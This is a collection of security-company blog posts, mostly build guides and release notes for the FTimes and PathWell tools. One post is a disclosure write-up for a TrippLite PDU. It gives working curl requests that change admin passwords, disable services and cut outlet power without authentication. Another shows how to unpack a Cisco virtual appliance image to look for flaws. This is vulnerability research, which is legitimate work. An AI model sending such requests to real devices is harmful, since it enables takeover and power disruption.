been very useful (i.e., they simply echo the filename to STDOUT whenever the hook's guard evaluates to true). Let's make things more interesting by actually doing something to/on the files being matched by the guard shown in Example #2. ### Example #3 This example shows how to use the embedded Python interpreter and the script provided below to map out the contents of identified SQLite databases. Place the following Python script (map_sqlite.py) in your current working directory: ``` import sqlite3 import sys from ftimes import neuter_string if len(sys.argv) < 1: print("Need a SQLite database.") sys.exit(2) InFile = sys.argv[1] NeuteredInfile = neuter_string(InFile) conn = sqlite3.connect(InFile) c = conn.cursor() c.execute("SELECT name FROM sqlite_master WHERE type IN ('table','view') AND \ name NOT LIKE 'sqlite_%' UNION ALL SELECT name FROM \ sqlite_temp_master WHERE type IN ('table','view') ORDER BY 1") tables = [] rowcount = 1 for row in (c.fetchall()): tables.append(row) for mytable in tables: NeuteredTableName = neuter_string(mytable[0]) TableLine = '"' + NeuteredInfile + '{' + NeuteredTableName + '}"|' + str(len(NeuteredTableName)) + "|table" print(TableLine) TableNames = c.execute("PRAGMA table_info('%s')" % mytable[0]).fetchall() c.execute("SELECT * FROM '%s'" % mytable[0]) for row in (c.fetchall()): for name in TableNames: if len(str(row[name[0]])) == 0: rowprint = '"' + NeuteredInfile + '{' + NeuteredTableName + '/' + str(rowcount) + '/' + neuter_string(name[1]) + '/}"|' \ + str(len(row[name[0]])) + '|' else: rowprint = '"' + NeuteredInfile + '{' + NeuteredTableName + '/' + str(rowcount) + '/' + neuter_string(name[1]) + '/}"|' \ + str(len(str(row[name[0]]))) + '|' + neuter_string(str(row[name[0]])) print(rowprint) rowcount += 1 c.close() conn.close() ``` Below is the map configuration (map.cfg) to use for this example. Place it in along side the Python script in your current working directory. ``` BaseName=- OutDir=. FieldMask=none+size+magic FileHook=sqlite : if ((f_magic =~ "database/sqlite")) then eval("python", "map_sqlite.py", "%{f_name}") pass [0] ``` Using the following as input, we will create a test SQLite database that can be mapped using the above script. ``` CREATE TABLE sample ( fnum INTEGER NOT NULL PRIMARY KEY ,mode INTEGER ,name TEXT NOT NULL UNIQUE ,size INTEGER ); INSERT INTO sample VALUES(21,644,'/etc/passwd',1505); INSERT INTO sample VALUES(42,755,'/etc',12288); INSERT INTO sample VALUES(7,755,'/sbin',12288); INSERT INTO sample VALUES(3,600,'/etc/shadow',1005); INSERT INTO sample VALUES(9,777,'/tmp',4096); INSERT INTO sample VALUES(31,700,'/opt/lost+found',16384); INSERT INTO sample VALUES(39,700,'/opt/My Documents',4096); ``` Save the above SQL statements into a file called create_test_db.sql. Then, run the following command to create the database: ``` sqlite3 /tmp/test.db < create_test_db.sql ``` N.B. This database was created under /tmp for the purposes of this example only. Indiscriminate creation and/or use of files in /tmp can fall victim to abuse (e.g., race conditions, data-driven attacks, etc.). Make sure you understand the security implications of /tmp before using it for any purpose. Next, we will use ftimes along with map.cfg and map_sqlite.py to map this database. ``` ftimes --map map.cfg -l 6 /tmp/test.db ``` Below is a sample of what the output should look like. ``` name|size|magic "/tmp/test.db"|12288|database/sqlite: version="3"; "/tmp/test.db{sample}"|6|table "/tmp/test.db{sample/1/fnum/}"|1|3 "/tmp/test.db{sample/1/mode/}"|3|600 "/tmp/test.db{sample/1/name/}"|11|/etc/shadow "/tmp/test.db{sample/1/size/}"|4|1005 "/tmp/test.db{sample/2/fnum/}"|1|7 "/tmp/test.db{sample/2/mode/}"|3|755 "/tmp/test.db{sample/2/name/}"|5|/sbin "/tmp/test.db{sample/2/size/}"|5|12288 "/tmp/test.db{sample/3/fnum/}"|1|9 "/tmp/test.db{sample/3/mode/}"|3|777 "/tmp/test.db{sample/3/name/}"|4|/tmp "/tmp/test.db{sample/3/size/}"|4|4096 "/tmp/test.db{sample/4/fnum/}"|2|21 "/tmp/test.db{sample/4/mode/}"|3|644 "/tmp/test.db{sample/4/name/}"|11|/etc/passwd "/tmp/test.db{sample/4/size/}"|4|1505 "/tmp/test.db{sample/5/fnum/}"|2|31 "/tmp/test.db{sample/5/mode/}"|3|700 "/tmp/test.db{sample/5/name/}"|15|/opt/lost%2bfound "/tmp/test.db{sample/5/size/}"|5|16384 "/tmp/test.db{sample/6/fnum/}"|2|39 "/tmp/test.db{sample/6/mode/}"|3|700 "/tmp/test.db{sample/6/name/}"|17|/opt/My+Documents "/tmp/test.db{sample/6/size/}"|4|4096 "/tmp/test.db{sample/7/fnum/}"|2|42 "/tmp/test.db{sample/7/mode/}"|3|755 "/tmp/test.db{sample/7/name/}"|4|/etc "/tmp/test.db{sample/7/size/}"|5|12288 ``` This output shows a single map record for the SQLite database along with a number of pseudo map records that reveal the contents of the 'sample' table. Note that the magic field has been overloaded (i.e., it now holds actual content for each database record/field mapped). Also note that the magic values are FTimes neutered (i.e., various special and non-printable characters have been encoded). So there you have it. Using this new found feature, you can come up with various file hooks that can be utilized to do whatever you want (e.g., map a SQLite database, unpack a ZIP archive and map its contents, perform searches or binary analysis on bzip files etc.). The possibilities are endless ... That's all for now on this blog post. Stay tuned for additional FTimes features blog posts. --- ## Building FTimes With Lua URL: https://korelogic.com/blog/2019/09/05/building-ftimes-with-lua/ A hands-on guide to building FTimes with XMagic and an embedded Lua interpreter so file hooks can perform more complex searches. Published: 2019-09-05 Author: Jay Category: Tools & Frameworks Tags: tools, iot, web-security This is the next part in a series of blog posts focusing on the open-source tool [FTimes](https://github.com/KoreLogicSecurity/ftimes). This blog post will demonstrate building FTimes with [XMagic](http://ftimes.sourceforge.net/FTimes/XMagic.shtml) and an embedded Lua interpreter. In so doing, FTimes will be able to perform more complex searches by utilizing file hooks. For this exercise, we will be using Kali Linux as our build environment. One prerequisite for building FTimes with XMagic is [PCRE](https://www.pcre.org/) and its associated development libraries. Users can install this on Kali and other Debian based systems using: ``` sudo apt-get install libpcre3 libpcre3-dev ``` Another prerequisite for building FTimes for version 3.13.0 and above is to have [KLEL](https://github.com/KoreLogicSecurity/libklel) installed. As of this blog post, the current version is 1.2.0, and a distribution tar ball can be obtained from the link provided. ``` tar -zxf libklel-1.2.0.tar.gz cd libklel-1.2.0 mkdir b cd b ../configure make sudo make install ``` This will install the header files and libraries with a default prefix of '/usr/local'. N.B. If you want to change where this software is installed, use the '--prefix' option when running the configure command above. Due to the fact that operating system package maintainers differ in where and how Lua gets installed, we will be building/installing our own version. As of this blog post, the current version is 5.3.5. We will download directly from the Lua website, compile, and install. ``` mkdir build && cd build wget https://www.lua.org/ftp/lua-5.3.5.tar.gz tar -zxf lua-5.3.5.tar.gz cd lua-5.3.5 make linux test sudo make install ``` Next, untar the FTimes tar ball and change to the ftimes-3.13.0 source directory: ``` tar -zxf ftimes-3.13.0.tgz cd ftimes-3.13.0 ``` Create a work directory (e.g., 'b' for build). This is where you will build ftimes. We prefer to create/use a separate work directory so that configuration changes can be made easily without disturbing the original source directories. It also makes cleanup a breeze (i.e., a simple directory removal restores the project to its original state). ``` mkdir b cd b ``` Next, run the configure script providing it the necessary options for building the Lua interpreter along with all associated FTimes tools. ``` ../configure --with-all-tools --with-lua=/usr/local make sudo make install ``` You can now verify that your FTimes executable has been built with Lua embedded in it by running: ``` ftimes --version ``` The output should look similar to this: ``` ftimes 3.13.0 64-bit klel(1.2.0),lua(5.3),pcre(8.39),filters(pcre),xmagic ``` Now that Lua has been embedded in the executable, you can use its interpreter to implement file hooks (via the FileHooks control), which incorporate and utilize the [KLEL](https://github.com/KoreLogicSecurity/libklel) library. An upcoming blog post in this series will delve into that. We hope you stay tuned. --- ## FTimes 3.13.0 Released URL: https://korelogic.com/blog/2019/09/04/ftimes-3130-released/ FTimes 3.13.0 adds Linux BTRFS support, new encoder and decoder routines, and KLEL-based include and exclude filters. Published: 2019-09-04 Author: Klayton Category: Tools & Frameworks Tags: tools, iot Version 3.13.0 is a minor release of [FTimes](https://github.com/KoreLogicSecurity/ftimes). Generally, code was cleaned up and refined as necessary. Several bugs have been fixed -- see the ChangeLog for details. The most significant changes in this release are the addition of new encoder/decoder/embedded routines, support for B-Tree file systems (BTRFS) under Linux, and the introduction of KLEL-based include/exclude filters. Note that both PCRE and KLEL (1.2.0 or higher) libraries are now required. For now, PCRE-base filters are still enabled by default, but the plan is to phase them out completely in a future release. --- ## Unpatched Fringe Infrastructure Bits URL: https://korelogic.com/blog/2019/08/19/unpatched-fringe-infrastructure-bits/ An internal penetration testing discussion of overlooked fringe infrastructure devices that can remain unpatched and introduce security risk. Published: 2019-08-19 Author: Jim Becher Category: Password Security Tags: vulnerability-research, tools, passwords, iot, web-security Typically during internal network penetration tests, pentesters come across many different types of devices. Much of the focus is likely on the Windows/UNIX-like systems and critical infrastructure devices (e.g., storage, DNS servers, routers, switches, etc.). There are, however, a number of other network connected devices that often times get passed over due to factors such as function, purpose, placement, or lack of sensitive data contained within. A pentester may take a second look at a given device because telnet or FTP is enabled, but after a cursory glance at the HTTP listener and thinking it is a UPS - maybe they will likely skip over it in favor of the Linux system running Apache, MySQL, and SSH. Welcome to the land of forgotten and misfit toys ... this is not exciting, cutting-edge, sexy stuff. These are devices organizations typically plug in, configure minimally (just enough to "do the job"), and forget about. In this post, I discuss a particular vulnerability of a TrippLite Power Distribution Unit (PDU). Out of technical curiosity, I picked up a used TrippLite Power Distribution Unit (PDU) several months back. Basically, A PDU is a heavy-duty power strip. Often, these units are rack-mountable and contain a network management card, so that they can be deployed in server rooms or data centers and managed remotely. ### Target: ``` Manufacturer: Tripp Lite Model: TRIPP LITE PDUMH15AT Firmware Version: 12.04.0053 ``` There are a number of obvious security issues with this device and its firmware version that we will not focus on in this blog post, namely: - Well-documented, default credentials - Athentication being performed over cleartext (telnet, ftp, and http) - Basic Auth being done (every request) over HTTP - XSS issue in configuring an email contact - Management interface denial of service issues via dumping memory and four unsuccessful SCP attempts The above list is pretty boring, but there is one more vulnerability that's mildly interesting. ### Issue: Unauthenticated POSTs During legitimate, authenticated use, configuration changes to the PDU are made through POSTs sent to a number of pages under http:///Forms/. Unfortunately, the PDU does not check that these POSTs contain the Basic Auth header, which means that an attacker can turn on/off PDU management services, configure credentials, or turn on/off power to your servers ... remotely, without providing authentication. To demonstrate turning off a management service, we will use HTTPS as our victim service. First, let's establish that it is running. ``` $ nmap -sT -p 80,443 192.168.1.87 Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:26 CST Nmap scan report for 192.168.1.87 Host is up (0.0021s latency). PORT STATE SERVICE 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds ``` Next, we issue a POST without authentication to turn the service off. ``` $ curl -X POST -d "netweb_access=00000001&nethttp_access=00000001&nethttp_port=80&nethttps_access= 00000000&nethttps_port=443&savechanges=Save+Changes" http://192.168.1.87/Forms/network_web_1 ``` Then, we restart the management interface, which causes our change to take effect. Finally, we re-run nmap to show that the HTTPS service is now off: ``` $ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1 $ nmap -sT -p 80,443 192.168.1.87 Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:29 CST Nmap scan report for 192.168.1.87 Host is up (0.0035s latency). PORT STATE SERVICE 80/tcp open http 443/tcp closed https Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds ``` Okay, mildly interesting ... but what I really want is to log into the device and do things. Unfortunately, I don't know the password. Wait a tick ... can we use the same unauthenticated POST vulnerability to set the password for the manager account? Turns out we can, as shown here: ``` $ curl -X POST -d "securityrou=guest&securityro1=guest&securityro2=guest&securityrwu= manager&securityrw1=manager3&securityrw2=manager3&securityadu=admin&securityad1=admin&securityad2= admin&savechanges=Save+Changes" http://192.168.1.87/Forms/system_security_1 ``` Once the password has been set, all we need to do is restart the management interface: ``` $ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1 ``` And presto ... we can now login to the manager account using a password of 'manager3'. Naturally, you can use the same technique to set the admin password as well. The web interface allows for authenticated users to turn on/off power to individual outlets. As was mentioned, the problem is that the POSTs can be sent to the device with the correct data but without a Basic Auth header, and the PDU will still honor the request. To turn off the power to outlet #1: ``` $ curl -X POST -d "actLoadId=1&loadoff1=Off" http://192.168.1.87/Forms/action_load_list_1 ``` To turn the power back on again to outlet #1: ``` $ curl -X POST -d "actLoadId=1&loadon1=On" http://192.168.1.87/Forms/action_load_list_1 ``` The unauthenticated POST vulnerability was reported to TrippLite in Q1 of 2018. They were unconcerned when we reported the issue since a newer version of the firmware that was not vulnerable had already been released. TrippLite did not elaborate on whether or not the vulnerability had been reported previously or if the new version of the firmware (which appears to be a significant re-write to the web interface) addressed the issue intentionally (or unintentionally). But, the question I have is: "How many organizations include network-attached PDUs in their patch management program?" ** Update: On 2019-09-12, CVE-2019-16261 was assigned to this vulnerability. ** --- ## Password Audits - Focus on the Admins URL: https://korelogic.com/blog/2019/05/09/password-audits-8211-focus-on-the-admins/ A practical argument for periodic password audits, with emphasis on administrator accounts and the risk reduction they can provide. Published: 2019-05-09 Author: Klayton Category: Password Security Tags: passwords Have you considered adding periodic password audits to your corporate security plan? Compared to the cost of a security breach or standard pentest, periodic password audits are relatively inexpensive (e.g., on the order of $7K/quarter for a single medium-sized domain), yet they shed light on an important aspect of security that management has little ability to control: the passwords that administrators and end users choose. In this article, I discuss the impact of weekly audits on chosen admin passwords over a 4-year period. In [Cracking Grid - Essential Attributes](/blog/2016/05/25/cracking-grid-8211-essential-attributes), I asserted that "it shouldn't take much to convince you that user credentials (and password hashes by extension) are highly sought after items". While any given username/password pair can present a toehold opportunity (e.g., a machine here, a few resources there, etc.), an administrative-level username/password pair often presents a complete and unparalleled takeover opportunity. As a security professional, it should be one of your worst nightmares. But what can you do about it? You've defined a corporate password policy; you've stressed the importance of creating complex passwords; and yet, you have no idea where you really stand when it comes to password security. One answer is periodic password audits ... Why? Below are a number of reasons you should consider. - They give you a sense of how resistant company passwords are to focused, time-limited attacks. - They can reveal policy gaps/violations (e.g., short passwords, not enough character diversity, etc.). - They can reveal behavioral patterns that would otherwise go unnoticed (e.g., use of company name or other corporate culture isms during password creation). - They can reveal procedural patterns that degrade security (e.g., helpdesk setting pattern-based, weak, default, or even empty passwords). - They can reveal accounts that share a common password (e.g., system/service accounts, accounts whose passwords were reset, unused/dormant accounts, etc.). - They can aid in detecting users circumventing password reuse restrictions (e.g., across domains, between admin/non-admin accounts used by the same individual, history violations, etc.). - They allow you prove that a user's password is weak/guessable even when that user insists his/her password is "strong". - They allow you to collect metrics, measure progress, and determine if you are trending in the right direction(s). - They allow you develop a more effective training program (e.g., by identifying those who need the most attention, making it possible to target the most common mistakes, increasing data breach awareness, etc.). The graph below quite aptly shows the impact of weekly audits on chosen admin passwords over a 4-year period for a single corporate domain (code name "ACME"), and since our client elected to conduct weekly audits, the resolution achieved in the dataset is exceptional. For example, it's evident that the password recovery rate is in an overall downtrend (from approximately 75% to single digits). Additionally, it's clear that the trend is not linear. Note how the recovery rate dropped sharply from from 75% to 50% in first weeks of 2015, but it took almost 2 years to fall below 25%, and another 2 years to approach zero. The ride down was bumpy as well (i.e., there are visible ups and downs from week to week as admins sought to create passwords that would withstand our attacks and we sought to improve the effectiveness of our cracking grid). Image Is a picture worth a thousand words? Maybe. Maybe not. But in this particular case, it's worth knowing that 75+ admins have passwords strong enough to withstand KoreLogic's weekly pounding, and that should help take the edge off that nightmare you've been having. --- ## Building FTimes With Python3 URL: https://korelogic.com/blog/2019/04/25/building-ftimes-with-python3/ A hands-on guide to building FTimes with XMagic and an embedded Python interpreter so file hooks can perform more complex searches. Published: 2019-04-25 Author: Jay Category: Tools & Frameworks Tags: tools, iot This is the next part in a series of blog posts focusing on the open-source tool [FTimes](https://github.com/KoreLogicSecurity/ftimes). This blog post will demonstrate building FTimes with XMagic and an embedded Python interpreter. In so doing, FTimes will be able to perform more complex searches by utilizing file hooks. For this exercise, we will be using Devuan Linux as our build environment. One prerequisite for building FTimes with XMagic requires [PCRE](https://www.pcre.org/) and associated development libraries. Users can install this on Devuan and other Debian based systems using: ``` sudo apt-get install libpcre3 libpcre3-dev ``` Note that Python2 can be substituted for Python3, if desired. Since we are embedding python3 into FTimes, the Python development libraries will also need to be installed: ``` sudo apt-get install python3-dev ``` Next untar the FTimes tarball and change into the ftimes-3.12.0 source directory: ``` tar -zxf ftimes-3.12.0.tgz cd ftimes-3.12.0 ``` Create a work directory (e.g., "b" for build). This is where you will build ftimes. We prefer to create/use a separate work directory so that configuration changes can be made easily without disturbing the source directories. It also makes cleanup a breeze (i.e., a simple directory remove restores the project to its original state). ``` mkdir b cd b ``` Next, run the configure script providing it the necessary options for building the Python interpreter along with all associated FTimes tools. ``` ../configure --with-all-tools --with-python=`which python3` make make install ``` In the above command the backticks (`) are used via your shell to determine where the python3 binary is installed on the build system. The full path to the python3 binary (e.g., "/usr/bin/python3") can also be used. You can now verify that your FTimes executable has been built with Python embedded in it by running: ``` ftimes --version ``` The output should look similar to this: ``` ftimes 3.12.0 64-bit pcre(8.39),python(3.5.3),xmagic ``` Now that Python has been embedded in the executable, you can use its interpreter to implement file hooks (via the FileHooks control), which incorporate and utilize the [KLEL](https://github.com/KoreLogicSecurity/libklel) library. An upcoming blog post in this series will delve into that. We hope you stay tuned. --- ## Building FTimes With Perl URL: https://korelogic.com/blog/2019/04/11/building-ftimes-with-perl/ A hands-on guide to building FTimes with XMagic and an embedded Perl interpreter so file hooks can perform more complex searches. Published: 2019-04-11 Author: Jay Category: Tools & Frameworks Tags: tools, iot This is a first in a series of blog posts focusing on the open-source tool [FTimes](https://github.com/KoreLogicSecurity/ftimes). This blog post will demonstrate building FTimes with XMagic and an embedded Perl interpreter. In so doing, FTimes will be able to perform more complex searches by utilizing file hooks. For this exercise, we will be using Ubuntu Linux as our build environment. One prerequisite for building FTimes with XMagic requires [PCRE](https://www.pcre.org/) and associated development libraries. Users can install this on Ubuntu and other Debian based systems using: ``` sudo apt-get install libpcre3 libpcre3-dev ``` Since we are embedding perl into FTimes, the Perl development libraries will also need to be installed: ``` sudo apt-get install libperl-dev ``` Next untar the FTimes tarball and change into the ftimes-3.12.0 source directory: ``` tar -zxf ftimes-3.12.0.tgz cd ftimes-3.12.0 ``` Create a work directory (e.g., "b" for build). This is where you will build ftimes. We prefer to create/use a separate work directory so that configuration changes can be made easily without disturbing the source directories. It also makes cleanup a breeze (i.e., a simple directory remove restores the project to its original state). ``` mkdir b cd b ``` Next, run the configure script providing it the necessary options for building the Perl interpreter along with all associated FTimes tools. ``` ../configure --with-all-tools --with-perl=`which perl` make make install ``` In the above command the backticks (`) are used via your shell to determine where the perl binary is installed on the build system. The full path to the perl binary (e.g., "/usr/bin/perl") can also be used. You can now verify that your FTimes executable has been built with Perl embedded in it by running: ``` ftimes --version ``` The output should look similar to this: ``` ftimes 3.12.0 64-bit pcre(8.39),perl(5.28.1),xmagic ``` Now that Perl has been embedded in the executable, you can use its interpreter to implement file hooks (via the FileHooks control), which incorporate and utilize the [KLEL](https://sourceforge.net/projects/libklel/) library. An upcoming blog post in this series will delve into that. We hope you stay tuned. --- ## FTimes 3.12.0 Released URL: https://korelogic.com/blog/2019/03/15/ftimes-3120-released/ FTimes 3.12.0 collects several years of fixes and enhancements, including depth-limited mapping and digging plus additional encoding and decoding support. Published: 2019-03-15 Author: Klayton Category: Tools & Frameworks Tags: tools Version 3.12.0 is a minor release of [FTimes](https://sourceforge.net/projects/ftimes/). Basically, the various changes, enhancements, additions, and bug fixes that have accumulated over the past few years reached critical mass. Some of the noteworthy changes include: a new option for depth-limited mapping/digging, additional encoding/decoding/transformer options/functionality, and support for a number of additional file systems (APFS, AUTOFS, JFFS2, OVERLAYFS, SMB2, UBIFS). Additionally, two new tools, ftimes-srm and ftimes-xpatool, have been added to the project. Finally, this is likely to be the last release in the 3.X branch. Going forward, the project will be setting up a new public-facing code repository (SF discontinued CVS support late in 2017), and all new effort will focus on the 4.X branch. --- ## New LibPathWell Release, and an Updated Talk URL: https://korelogic.com/blog/2017/05/12/new-libpathwell-release-and-an-updated-talk/ PathWell 0.7.0 release notes plus an updated talk highlighting new features in the password topology enforcement project. Published: 2017-05-12 Author: Hank Category: Tools & Frameworks Tags: javascript, tools, passwords, web-security A couple of weeks ago we released a PathWell update, version 0.7.0, available [here](https://github.com/KoreLogicSecurity/libpathwell). I had the pleasure of giving a talk about it at [RMISC](https://www.rmisc.org/) yesterday that highlighted the new features; the slides are [here](/presentations/rmisc-pathwell-2017-05.pdf). [PDF warning] The primary user-visible change in this release is an administrator-configurable hinting engine, to provide different levels of feedback to users whose new password choice is rejected. The hint engine suggests changes to a rejected candidate password which, if adopted by the user, would result in a new password that would be accepted. The amount of detail returned to the user is configurable to a variety of "levels". For example, at medium hint level, the hint engine suggests a randomly-generated topology change such as the one shown below: ``` ### Trying to set a password of 'April2017!' testuser@foo ~ $ passwd Changing password for testuser. Current password: New password: Retype new password: pam_pathwell: ull lldddds | | insert a special character ------------------+ | | insert a digit ------------------------------------+ This should produce the following topology: ullsllddddsd passwd: Authentication token manipulation error passwd: password unchanged testuser@foo ~ $ ``` At high hint level, the hint engine actually suggests a randomly-modified version of the chosen password. Obviously, the hinting capability must be used with care; an attacker who can shoulder-surf or recover script sessions of users changing their passwords will obtain sensitive information. More details, examples, and caveats are available in my [RMISC presentation slides](/presentations/rmisc-pathwell-2017-05.pdf). The hint engine supports multiple output methods; simple text is appropriate for the PAM module. There is also JSON output for use with other front-ends, such as web applications seeking to use PathWell for dynamic password strength enforcement. Currently the hint engine is only enabled for blacklist failures, but we intend to connect it for violations of the other enforcement options of minlev (minimum Levenshtein distance) and maxuse (maximum use count) as well. Less visible changes in this release include some restructuring of the code/API, adding and moving functionality into the core library. This facilitates using libpathwell for things other than PAM, such as integrating into an LDAP server, calling from Java code using JNI, etc. As a result, the PAM module code was reduced and simplified. We also expanded unit test coverage and added two more command-line utilities: pathwell-setuc and pathwell-chkpw. The core and PAM library versions have both been bumped as a result of these changes. Our next steps for the project include the expansion of the hint engine as mentioned above, Perl Compatible Regular Expression (PCRE) blacklist support, and Active Directory (AD) support. We have an AD passfilt.dll version of PathWell in alpha, but since we do not run any production Windows systems, we are looking for organizations that want to help us with larger scale tests. Please contact us at pathwell-project at korelogic.com [[PGP key](/pgp/pathwell-project-2ECC5A3725B2CC97.asc)] if you are interested in being a alpha tester, or in using libpathwell in a commercial product. --- ## Virtual Appliance Spelunking URL: https://korelogic.com/blog/2016/10/10/virtual-appliance-spelunking/ A virtual appliance reversing case study based on Cisco Firepower Management Center research that resulted in multiple CVEs. Published: 2016-10-10 Author: Matt Category: Password Security Tags: vulnerability-research, tools, passwords, web-security Hello again and welcome back. Today I want to talk about a Sunday I spent reversing the Cisco Firepower Management Console virtual appliance that resulted in multiple CVEs being issued. The tricks I will show have worked on four or five other virtual appliances from other vendors. Results from those are either pending disclosure or have already been reported by other researchers. Either way, this should be something you can easily recreate to find vulnerabilities. Before I start, normally I am just barely satisfied or outright discouraged by the vendor's response. I want to commend the Cisco team for their rapid response and great communication. They didn't drag their feet nor attempt to prevaricate or downplay the findings (as the below issues all require some level of authenticated access to leverage). Cisco has issued three CVEs for the vulnerabilities we disclosed: - CVE-2016-6433 [KL-001-2016-007](/advisories/KL-001-2016-007/) - CVE-2016-6434 [KL-001-2016-005](/advisories/KL-001-2016-005/) - CVE-2016-6435 [KL-001-2016-006](/advisories/KL-001-2016-006/) Everything is virtualized nowadays, including appliances. What is great is that most companies who develop appliances will allow trial copies of them to be released. Just Google 'Virtual appliance trial download' and you'll find plenty of targets. I did just that and came across a trial download for the Cisco Firepower Management Console. ``` (Cisco_Firepower_Management_Center_VMware-6.0.1-1213.tar.gz) = c93e8874bc114bee4ee519f2e361ada52d7fee5f ``` It contained the following files: ``` (Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk) = 20dbf629a1a550e994226692029fbe6d84f33484 (Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.mf) = 4d1f63d597aa9b10d0b79a070455367fa7bf5716 (Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.ovf) = 8a6de8b9433f9b72e1a6561793b21b771069aabe (Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.mf) = 61789395ec52e6d0e1f59c9645fa2ea6acf2f719 (Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.ovf) = be3f21da5375b092be675c171840707785b98389 ``` Once files are extracted from gzip tarball, I converted the vmdk into a raw file. ``` $ qemu-img convert -f vmdk -O raw Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk \ Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw ``` Next, I review the partitions. ``` $ fdisk -l Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw Disk Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw: 250 GiB, 268435456000 bytes, 524288000 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x423b7500 Device Boot Start End Sectors Size Id Type Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw1 * 2048 194559 192512 94M 83 Linux Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw2 194560 2195455 2000896 977M 82 Linux swap / Solaris Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw3 2195456 524287999 522092544 249G f W95 Ext'd (LBA) Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw5 2197504 10008575 7811072 3.7G 83 Linux Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw6 10008577 17820312 7811736 3.7G 83 Linux Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw7 17820314 524287999 506467686 241.5G 83 Linux ``` Now I will go through the file content of each Linux partition until I come across something interesting. Note that fdisk's output is in 512-byte blocks, but the loop offsets below are in bytes, i.e. blocks * 512. ``` $ umount /mnt/temp_mnt;mount -o ro,loop,offset=1048576 \ Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \ ls -la /mnt/temp_mnt/ total 9438 drwxrwxr-x 6 root root 1024 Mar 18 18:34 . drwxr-xr-x 10 root root 4096 Sep 3 01:13 .. drwxrwxr-x 2 root root 1024 Mar 18 18:32 boot -rw-r--r-- 1 root root 512 Mar 18 18:34 boot.0800 -rw-r--r-- 1 root root 4308496 Mar 18 18:32 bzImage-3.10.53-sf.virtual-26 -rw-r--r-- 1 root root 113162 Feb 22 2016 coffee.bmp -rw-r--r-- 1 root root 426 Feb 22 2016 coffee.dat -rw-r--r-- 1 root root 22466 Feb 22 2016 debian.bmp -rw-r--r-- 1 root root 423 Feb 22 2016 debian.dat -rw-r--r-- 1 root root 22560 Feb 22 2016 debian-de.bmp -rw-r--r-- 1 root root 426 Feb 22 2016 debian-de.dat -rw-r--r-- 1 root root 31628 Feb 22 2016 debianlilo.bmp -rw-r--r-- 1 root root 435 Feb 22 2016 debianlilo.dat drwxrwxr-x 2 root root 1024 Mar 18 18:32 grub -rw-r--r-- 1 root root 2614888 Mar 18 18:33 initrd-3.10.53-sf.virtual-26 -rw-r--r-- 1 root root 22578 Feb 22 2016 inside.bmp -rw-r--r-- 1 root root 432 Feb 22 2016 inside.dat drwxrwxr-x 2 root root 1024 Mar 18 18:32 kernels drwx------ 2 root root 12288 Mar 18 18:31 lost+found -rw------- 1 root root 82944 Mar 18 18:34 map -rw-r--r-- 1 root root 6878 Feb 22 2016 onlyblue.bmp -rw-r--r-- 1 root root 424 Feb 22 2016 onlyblue.dat lrwxrwxrwx 1 root root 32 Mar 18 18:32 System.map -> System.map-3.10.53-sf.virtual-26 -rw-r--r-- 1 root root 2372553 Mar 18 18:32 System.map-3.10.53-sf.virtual-26 -rw-r--r-- 1 root root 33192 Feb 22 2016 tuxlogo.bmp -rw-r--r-- 1 root root 423 Feb 22 2016 tuxlogo.dat $ umount /mnt/temp_mnt;mount -o ro,loop,offset=1125122048 \ Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \ ls -la /mnt/temp_mnt/ total 92 drwxr-xr-x 20 root root 4096 Mar 18 18:34 . drwxr-xr-x 10 root root 4096 Sep 3 01:13 .. drwxrwxr-x 2 root root 4096 Mar 18 18:33 bin drwxr-xr-x 2 root root 4096 Mar 18 18:31 boot drwxr-xr-x 2 root root 4096 Mar 18 18:31 dev drwxrwxr-x 36 root root 4096 Mar 18 18:34 etc -rw-r--r-- 1 root root 0 Feb 22 2016 .firstboot drwxr-xr-x 2 root root 4096 Oct 6 1997 home drwxr-xr-x 5 root root 4096 Mar 18 18:33 lib drwxrwxr-x 3 root root 4096 Mar 18 18:33 lib64 drwx------ 2 root root 16384 Mar 18 18:31 lost+found drwxr-xr-x 5 root root 4096 Mar 15 2002 mnt drwxr-xr-x 2 root root 4096 Mar 18 18:34 opt drwxr-xr-x 2 root root 4096 Mar 18 18:31 proc -rw-r--r-- 1 root root 0 Mar 18 18:33 .reconfigure drwx------ 2 root root 4096 Mar 18 18:34 root drwxrwxr-x 2 root root 4096 Feb 22 2016 sbin drwxr-xr-x 2 root root 4096 Mar 18 18:31 sys drwxrwxrwt 2 root root 4096 Mar 18 18:34 tmp drwxr-xr-x 19 root root 4096 Dec 14 2015 usr drwxr-xr-x 2 root root 4096 Mar 18 18:31 var drwxr-xr-x 2 root root 4096 Mar 18 18:31 Volume ``` So, partition 1 is /boot, and partition 5 looks like /. After browsing the filesystems a bit, I noticed the www user has a sudoers entry for the useradd binary. ``` $ grep useradd etc/sudoers www ALL = NOPASSWD: /usr/sbin/useradd 